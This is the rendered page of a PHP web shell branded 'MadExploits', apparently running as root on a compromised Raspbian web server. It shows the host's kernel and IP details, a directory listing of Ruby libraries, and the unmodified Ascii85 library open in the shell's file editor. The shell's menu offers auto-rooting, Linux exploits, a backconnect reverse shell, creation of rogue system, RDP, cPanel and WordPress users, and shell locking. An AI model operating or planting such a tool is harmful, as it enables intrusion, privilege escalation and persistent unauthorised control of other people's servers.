Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.15
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
[ HOME SHELL ]
Name
Size
Permission
Action
2.5.0
[ DIR ]
drwxr-xr-x
Ascii85
[ DIR ]
drwxr-xr-x
atomic
[ DIR ]
drwxr-xr-x
coderay
[ DIR ]
drwxr-xr-x
concurrent
[ DIR ]
drwxr-xr-x
did_you_mean
[ DIR ]
drwxr-xr-x
ffi
[ DIR ]
drwxr-xr-x
hamster
[ DIR ]
drwxr-xr-x
hashery
[ DIR ]
drwxr-xr-x
hoe
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
kramdown
[ DIR ]
drwxr-xr-x
memoist
[ DIR ]
drwxr-xr-x
minitest
[ DIR ]
drwxr-xr-x
multi_json
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
oj
[ DIR ]
drwxr-xr-x
pdf
[ DIR ]
drwxr-xr-x
power_assert
[ DIR ]
drwxr-xr-x
prawn
[ DIR ]
drwxr-xr-x
rake
[ DIR ]
drwxr-xr-x
rouge
[ DIR ]
drwxr-xr-x
rubygems
[ DIR ]
drwxr-xr-x
rugged
[ DIR ]
drwxr-xr-x
stringex
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
thread_safe
[ DIR ]
drwxr-xr-x
ttfunk
[ DIR ]
drwxr-xr-x
tzinfo
[ DIR ]
drwxr-xr-x
wavefile
[ DIR ]
drwxr-xr-x
xmlrpc
[ DIR ]
drwxr-xr-x
afm.rb
4.37
KB
-rw-r--r--
ascii85.rb
5.74
KB
-rw-r--r--
atomic.rb
948
B
-rw-r--r--
coderay.rb
8.92
KB
-rw-r--r--
concurrent-edge.rb
509
B
-rw-r--r--
concurrent.rb
5.46
KB
-rw-r--r--
did_you_mean.rb
1.53
KB
-rw-r--r--
ffi.rb
628
B
-rw-r--r--
hamster.rb
312
B
-rw-r--r--
hashery.rb
543
B
-rw-r--r--
i18n.rb
13.54
KB
-rw-r--r--
kramdown.rb
192
B
-rw-r--r--
memoist.rb
6.48
KB
-rw-r--r--
minitest.rb
22.3
KB
-rw-r--r--
multi_json.rb
4.15
KB
-rw-r--r--
net-telnet.rb
21
B
-rw-r--r--
oj.rb
348
B
-rw-r--r--
pdf-reader.rb
38
B
-rw-r--r--
power_assert.rb
2.69
KB
-rw-r--r--
prawn.rb
2.23
KB
-rw-r--r--
rake.rb
2.11
KB
-rw-r--r--
rc4.rb
822
B
-rw-r--r--
rouge.rb
2.81
KB
-rw-r--r--
rugged.rb
723
B
-rw-r--r--
stringex.rb
369
B
-rw-r--r--
stringex_lite.rb
405
B
-rw-r--r--
test-unit.rb
1.17
KB
-rw-r--r--
thread_safe.rb
1.88
KB
-rw-r--r--
ttfunk.rb
3.25
KB
-rw-r--r--
tzinfo.rb
1.02
KB
-rw-r--r--
wavefile.rb
1.09
KB
-rw-r--r--
xmlrpc.rb
7.99
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ascii85.rb
# encoding: utf-8 # # Ascii85 is an implementation of Adobe's binary-to-text encoding of the # same name in pure Ruby. # # See http://www.adobe.com/products/postscript/pdfs/PLRM.pdf page 131 # and http://en.wikipedia.org/wiki/Ascii85 for more information about # the format. # # Author:: Johannes Holzfuß (johannes@holzfuss.name) # License:: Distributed under the MIT License (see LICENSE file) # module Ascii85 # # Encodes the bytes of the given String as Ascii85. # # If +wrap_lines+ evaluates to +false+, the output will be returned as # a single long line. Otherwise #encode formats the output into lines # of length +wrap_lines+ (minimum is 2). # # Ascii85.encode("Ruby") # => <~;KZGo~> # # Ascii85.encode("Supercalifragilisticexpialidocious", 15) # => <~;g!%jEarNoBkD # BoB5)0rF*),+AU& # 0.@;KXgDe!L"F`R # ~> # # Ascii85.encode("Supercalifragilisticexpialidocious", false) # => <~;g!%jEarNoBkDBoB5)0rF*),+AU&0.@;KXgDe!L"F`R~> # # def self.encode(str, wrap_lines = 80) to_encode = str.to_s return '' if to_encode.empty? # Deal with multi-byte encodings if to_encode.respond_to?(:bytesize) input_size = to_encode.bytesize else input_size = to_encode.size end # Compute number of \0s to pad the message with (0..3) padding_length = (-input_size) % 4 # Extract big-endian integers tuples = (to_encode + ("\0" * padding_length)).unpack('N*') # Encode tuples.map! do |tuple| if tuple == 0 'z' else tmp = "" 5.times do tmp << ((tuple % 85) + 33).chr tuple /= 85 end tmp.reverse end end # We can't use the z-abbreviation if we're going to cut off padding if (padding_length > 0) and (tuples.last == 'z') tuples[-1] = '!!!!!' end # Cut off the padding tuples[-1] = tuples[-1][0..(4 - padding_length)] # If we don't need to wrap the lines, add delimiters and return if (!wrap_lines) return '<~' + tuples.join + '~>' end # Otherwise we wrap the lines line_length = [2, wrap_lines.to_i].max wrapped = [] to_wrap = '<~' + tuples.join 0.step(to_wrap.length, line_length) do |index| wrapped << to_wrap.slice(index, line_length) end # Add end-marker – on a new line if necessary if (wrapped.last.length + 2) > line_length wrapped << '~>' else wrapped[-1] << '~>' end return wrapped.join("\n") end # # Searches through +str+ and decodes the _first_ Ascii85-String found. # # #decode expects an Ascii85-encoded String enclosed in <~ and ~> — it will # ignore all characters outside these markers. The returned strings are always # encoded as ASCII-8BIT. # # Ascii85.decode("<~;KZGo~>") # => "Ruby" # # Ascii85.decode("Foo<~;KZGo~>Bar<~;KZGo~>Baz") # => "Ruby" # # Ascii85.decode("No markers") # => "" # # #decode will raise Ascii85::DecodingError when malformed input is # encountered. # def self.decode(str) input = str.to_s opening_delim = '<~' closing_delim = '~>' # Make sure the delimiter strings have the correct encoding. # # Although I don't think it likely, this may raise encoding # errors if an especially exotic input encoding is introduced. # As of Ruby 1.9.2 all non-dummy encodings work fine though. # if opening_delim.respond_to?(:encode!) opening_delim.encode!(input.encoding) closing_delim.encode!(input.encoding) end # Get the positions of the opening/closing delimiters. If there is # no pair of opening/closing delimiters, return the empty string. (start_pos = input.index(opening_delim)) or return '' (end_pos = input.index(closing_delim, start_pos + 2)) or return '' # Get the string inside the delimiter-pair input = input[(start_pos + 2)...end_pos] # Decode word = 0 count = 0 result = [] input.each_byte do |c| case c.chr when " ", "\t", "\r", "\n", "\f", "\0" # Ignore whitespace next when 'z' if count == 0 # Expand z to 0-word result << 0 else raise(Ascii85::DecodingError, "Found 'z' inside Ascii85 5-tuple") end when '!'..'u' # Decode 5 characters into a 4-byte word word += (c - 33) * 85**(4 - count) count += 1 if count == 5 if word > 0xffffffff raise(Ascii85::DecodingError, "Invalid Ascii85 5-tuple (#{word} >= 2**32)") end result << word word = 0 count = 0 end else raise(Ascii85::DecodingError, "Illegal character inside Ascii85: #{c.chr.dump}") end end # Convert result into a String result = result.pack('N*') if count > 0 # Finish last, partially decoded 32-bit-word if count == 1 raise(Ascii85::DecodingError, "Last 5-tuple consists of single character") end count -= 1 word += 85**(4 - count) result << ((word >> 24) & 255).chr if count >= 1 result << ((word >> 16) & 255).chr if count >= 2 result << ((word >> 8) & 255).chr if count == 3 end return result end # # This error is raised when Ascii85.decode encounters one of the following # problems in the input: # # * An invalid character. Valid characters are '!'..'u' and 'z'. # * A 'z' character inside a 5-tuple. 'z's are only valid on their own. # * An invalid 5-tuple that decodes to >= 2**32 # * The last tuple consisting of a single character. Valid tuples always have # at least two characters. # class DecodingError < StandardError; end end
Close